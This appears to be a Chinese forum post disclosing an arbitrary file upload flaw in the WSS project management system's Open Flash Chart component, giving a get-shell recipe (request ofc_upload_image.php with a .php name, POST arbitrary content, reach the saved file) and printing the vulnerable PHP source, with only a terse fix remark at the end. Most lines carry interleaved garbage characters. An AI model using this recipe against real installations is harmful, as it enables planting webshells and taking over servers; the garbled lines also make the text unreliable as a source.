WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
1 Z, R: A: @" n. g" `7 f
- D! [& U; E/ V( |$ z' C利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
2 x/ K. A) L/ H! b. e" w0 @
Post任意数据
* C- |/ G' g1 f6 z保存位置http://localhost/chart/tmp-upload-images/hfy.php
* r8 v( L; i2 s7 g; b2 m( s, |& Y9 s
* N2 @3 }7 E' ~$ i3 w  I/ o
2 i) k+ I) }1 I5 y6 Q) o: w最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
$ ?! v5 r; I3 p8 |0 \- C; R
<?php
$ ]$ K* L  ~9 z3 T% f
2 G+ N0 K# |6 p) g# i//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
/ `$ I- M1 d9 U1 x9 {4 `# ?
/ j- O1 ]! v7 I2 l/*

+ w  t; Z& ^  Y2 l0 T; gprint_r( $_GET );
print_r( $_POST );
8 s& J2 y& ]5 V8 r( y+ uprint_r( $_FILES );

% q+ `! e4 y: _, c) G: ?- H; Sprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
/ x/ p2 P. [" |9 G0 S5 U
1 ?- W: m& F2 j1 B*/
* u2 G. Y! k7 X0 `# f. d// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

2 H1 E$ j' W; S8 d, Pif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
. z! H$ z4 _0 H$destination = $default_path . basename( $_GET[ 'name' ] );

% b# E; `6 h1 @( G& M6 t; d. n7 f6 _echo 'Saving your image to: '. $destination;
8 ^8 K# n: A+ W! e// print_r( $_POST );
( y- p3 x6 n+ t  c' L1 ]8 V6 D' W// print_r( $_SERVER );
7 ^$ ]+ o8 L% O  T4 o$ g// echo $HTTP_RAW_POST_DATA;
7 @/ a+ a' X7 s
& s3 L( P1 [, a% ~//
// POST data is usually string data, but we are passing a RAW .png
' h1 f6 v/ j$ J1 j) f// so PHP is a bit confused and $_POST is empty. But it has saved
9 I" f+ ]  X# [+ M// the raw bits into $HTTP_RAW_POST_DATA
//
6 h! F2 _% X1 _7 H) j- b
$jfh = fopen($destination, 'w') or die("can't open file");
* g2 }0 {/ }6 R+ L( ~fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

, F6 g) A) R2 h, X. P( k8 h//
/ o4 Y" \0 d1 |( g" a& L// LOOK:
//
" X7 l1 a9 a4 E7 c. F: Hexit();
, q# R# W" l; P//
// PHP5:
. i% @) @7 y' l% X//

: K, j. p; x! f: A6 b2 o2 W. n  S* G
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

, i* l& a( a8 U% Fif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
* k& P# G2 x9 @; eif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
6 h0 \, S/ R3 x& R: i    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
* ^2 A* Q$ i" p9 `5 z} else {
% s+ U; W9 c  }# X  F    echo "FILE UPLOAD FAILED";
}

& [- e% t" P7 N
1 _' C! P+ l* g?>
9 J# e% ^9 B8 K6 x1 n
/ P  e* V$ o' M4 E" h  r

$ A% `( k& A- S6 V
8 d* d3 c6 p8 U* ], ^% y
/ b; C$ [; a8 U2 l9 K5 s. ^
修复方案：
3 Q0 h7 l: K7 w' G这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

2 p/ A  |4 Y7 R% S  |. G

7 A, ~! I1 {* i' W
$ g8 n9 u- Z, m0 S0 i